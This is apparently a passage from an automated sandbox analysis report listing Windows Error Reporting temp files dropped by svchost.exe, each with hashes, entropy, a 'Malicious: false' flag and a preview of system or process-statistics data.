Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB89.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89040
Entropy (8bit):	3.0753203919307537
Encrypted:	false
SSDEEP:	1536:Jdk2GvKURW85Boc3IkaKfwfPSiKrk3iOjsyWRsgLVGWkjtA0h:Jdk2GvKURW85Boc3IkaKfwfPSiKrk3iO
MD5:	31B7909DFAE0F87B861C4025DEC761D0
SHA1:	C2214C6A460A8952E271C2BCDB097063F32D35BB
SHA-256:	3F32B9333E9079D1D0183511799D07FEDC0AA54049426EBDB9A43012A93702C7
SHA-512:	EB9B6A291C78C7FF05E8913CF1197FFB7716A2D8A199420317F44EA650F40EC85FADFACABCEC1C20C7CAB0ED095AF3C637D84393B6E844DEF9E7F17EB5C36F3E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREBD8.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696094314738106
Encrypted:	false
SSDEEP:	96:TiZYW/xMThHd/Y/YgGrH0YEZDEtAil4NlSvw1YHaa9wML1OemIHQZ:2ZDSVdYNR6aa9wML15hHQZ
MD5:	AE9AB6C6A13AD7937B44E22A6EACEB76
SHA1:	3D680993010A3E9E79280F29314AA877CA419213
SHA-256:	ADBFC070B8344995A8ABC2A6B6C25A3BCB27A95CAA72B6E3B0F301EC3AA38D71
SHA-512:	A53DF27C854E459FDF005981FD8D20189A4522958C176EB184EC127071D6D93BC5306430D529D41E7494E871DCC57CB4EF731120BE400C30A930C7DC117D43BC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE2A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89044
Entropy (8bit):	3.0753556753724403
Encrypted:	false
SSDEEP:	1536:DkqGvKURW85eoc3IUaKfwfPSiKrkfiOjsyWRsgLVbWkniso/b:DkqGvKURW85eoc3IUaKfwfPSiKrkfikH
MD5:	284BBDF663E01EA587348B5D38C7543D
SHA1:	A995E63EA5D6B8670FC63903FABE4341EFACD38D
SHA-256:	C99E9155C278C6914B701255CF7CE90879B0C1ABB2F509693B0B514A63C914A1
SHA-512:	355808F93F519D6BABA0C7301AFD052FBF9D3D0C25F176B945FD34A83A0E6254E3C1781E7CB6E751EC0A57E21BD5969C20D931BE5DAEAE4E0F4F6135C632F708
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREEB8.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695887405987604
Encrypted:	false
SSDEEP:	96:TiZYWuNxMIbvd7YTY9GBsH0YEZc2tAid4hlSVwBDXax94MjOeNIHQZ:2ZDugs5kN61bax94Mj5SHQZ
MD5:	4503FF1B9656A1D6546F6C4D172010F9
SHA1:	3778BB1F40F84317906126F5E028AB91ECD0875C
SHA-256:	BFE06115FDCD338EAC48ED9DE74286693C887CA9E153D9A2CE440003A0DA05A4
SHA-512:	A4173DAB5D91A033CB182149ADA8F047B1630E5459BDAE88B0C022626B44B5DC8E51931D039AE5A7E806C8F5293F1014BA1C08EF843067641284FDB25C63BB21
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF197.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89070
Entropy (8bit):	3.0750844377385853
Encrypted:	false
SSDEEP:	1536:ikqGvKURW85eob3IAa5fdfPSiZTZfiOjsyWRsgLVTWkkMLi5KG:ikqGvKURW85eob3IAa5fdfPSiZTZfikf
MD5:	231B3DC004CD57D90447E02C6A5E6E6E
SHA1:	9DF42C81E91779BEBF6280AFDBF97D9E155D2984
SHA-256:	9CB71054BCE5CEF5A35B2C19F705E1789CEC19298014D670BAF1465829FCBF97
SHA-512:	F7F89155A22B0628C99035324D1629F440BF018C1FFC93B56D81B216E3B0FBB9A558BBD6C39138FC24FEE87E170019F52C4CFEB571AEE0F7CA743629A7761693
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF1F6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6965259463027436
Encrypted:	false
SSDEEP:	96:TiZYW//xMB40foYn1YRVG9EH0YEZ43tAil4qlSywVxqZpaE9pLMNuOeQIaRQZ:2ZD/SQyGiaaE91M85naRQZ
MD5:	60C1FE2F086B1E405AF6EDF9D8872C3B
SHA1:	777052744DF273C183F9554F2CA5804E4FEEE992
SHA-256:	F50B3D3760AEA93053AC06894F0DFC7BF428A342607D3F0F3DA377A7492AE17B
SHA-512:	5FC5A91574F960923BFD1348C3C188F2C0C87486AA31BE990595D774F87772545AA8B4E728255A2D6949EEB8BA5310DFFC5CFD8D1EA4AF59814C742BBCED8FBE
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF22.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89108
Entropy (8bit):	3.075108825304122
Encrypted:	false
SSDEEP:	1536:tku40rtc5857oYkaTZsfPSiTzM9iOjsyWRsgLVMWkc6oqc:tku40rtc5857oYkaTZsfPSiTzM9iksyM
MD5:	F9EF823DF49AEDF6F3E312148B2C4CA8
SHA1:	110165026712140262C8C783707CB52C8987999E
SHA-256:	72A8AC736B1470DE10B7B075E798819BFB55005DD7025577F2A292CBDA06C64E
SHA-512:	50EDC0C8BBBD8AF461C0D73A542ED55CB06F0C831E8D47352358316682B7A1C8B7FF38EB6E361C327D1393092C8C678183D2C4488556C2A2B8473094DF4177B1
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4B6.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89070
Entropy (8bit):	3.0752324373400977
Encrypted:	false
SSDEEP:	1536:q04khGvKURW85eoR3I4a0fdfPSilqvfiOjsyWRsgLVhWkHCYO2Re:q04khGvKURW85eoR3I4a0fdfPSilqvft
MD5:	4D8891C555EC84772F2605357AEB6959
SHA1:	FE7E200C7B62F669C9A36DEF1C56FDFAAD0D525C
SHA-256:	A1923CF941813728251DFD3EC07144EA570C5AA191D96822B713313ABB7B9261
SHA-512:	C827D67C3792B022E8817574F5AB5081B26C1D9DB7199AC8A6F6C0B0F09F782608E085956FE0A41694BE264CF4618119857F162454CF82396F6CCC6554329769
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF534.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6966792638676886
Encrypted:	false
SSDEEP:	96:TiZYWUgx/OwVYqY+jGMH0YEZ2jtAiI4KlSjwAhSbPab9/MmOeXIIQZ:2ZDZdHXj+ab9/Mm54IQZ
MD5:	279EB27444E7605CDF7E28F19B4CCD23
SHA1:	EFF903283D95EF95F9EFB5A8FF99A19A872F0075
SHA-256:	900F349D20346A446CC9A9CFA60AD0DBA60DC45DFDAD06ABD6A6D99C65CBDAA0
SHA-512:	8F0CD8955D068EF7A7ED56C4493FFDC91EA74C3FB955A0210EA3AD22A0F07764A8011C6C63827D9E188FCF2E5E8E2040EDDE655E512EF6F4EB0FC9246B94C758
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF804.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89072
Entropy (8bit):	3.074741190950964
Encrypted:	false
SSDEEP:	1536:8WkfGvKURW85eom3I0aBfdfPSiO5vgiOjsyWRsgLVJWkGIEgxT:8WkfGvKURW85eom3I0aBfdfPSiO5vgi7
MD5:	EC5DA6417DAB3ADE7E1557F0430673B2
SHA1:	E26AC95292A00186C0E54752C11D779737189D27
SHA-256:	08586284466514C7049F54E751A4956818C633E4E28E124D9A4615F7C87DECD9
SHA-512:	A49A295E0958AB1518D4F23AFD38279BCBBFA74DC0F9356D07901F60B3A009CC70E47C95A2DA0FCEF40B33F1C8162337A67795F6D8926065A5F49FAFED25915D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF872.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695986830299679
Encrypted:	false
SSDEEP:	96:TiZYWTxso2DwYBYHxG1nH0YEZfotAinB4ZlSJwaEjfaR9alVMqOeHIGQZ:2ZDawGM8AaR9alVMq5oGQZ
MD5:	3E697A01E03E2E8F524FA8C972CA2375
SHA1:	A01673C552D299B772B6F8EADFC9C7F6C59E9DF4
SHA-256:	CF5AA158F54F549BE527E7A70D4EC608678D4B90A2DB0F9A67A2E1604B3DD40A
SHA-512:	21FCFEE682AB7DB0EB2E51A958643B2583B9C5EA9ABF0FF2527DFA29E9A8727A8B4A2E6DE85F97A4E0FA360EFB1D2491C26F44D28756471E8184998A69591730
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . 